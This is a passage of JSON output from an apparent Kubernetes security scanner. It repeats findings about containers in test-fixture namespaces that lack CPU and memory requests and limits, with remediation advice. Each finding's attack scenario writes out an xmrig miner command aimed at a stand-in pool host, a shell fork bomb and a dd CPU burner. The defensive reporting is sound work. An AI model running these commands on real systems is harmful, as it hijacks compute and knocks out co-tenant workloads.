    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/lp-fixtures/lp-orphan-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/lp-fixtures/lp-orphan-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-orphan-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-orphan-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n lp-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:lp-fixtures:lp-wildcard-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/lp-fixtures/lp-wildcard-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/lp-fixtures/lp-wildcard-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-wildcard-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n lp-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:netpol-imds:imds-allow-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/netpol-imds/imds-allow-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/netpol-imds/imds-allow-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n netpol-imds --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:netpol-imds:imds-open-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/netpol-imds/imds-open-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/netpol-imds/imds-open-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n netpol-imds --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:psa-suppressed:psa-priv-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/psa-suppressed/psa-priv-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/psa-suppressed/psa-priv-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-priv-app",
      "namespace": "psa-suppressed",
      "api_group": "apps"
    },
    "namespace": "psa-suppressed",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-suppressed/psa-priv-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n psa-suppressed --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n psa-unlabeled-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:pv-hostpath-fixtures:pv-hostpath-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/pv-hostpath-fixtures/pv-hostpath-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "pv-hostpath-app",
      "namespace": "pv-hostpath-fixtures",
      "api_group": "apps"
    },
    "namespace": "pv-hostpath-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app`"
    },
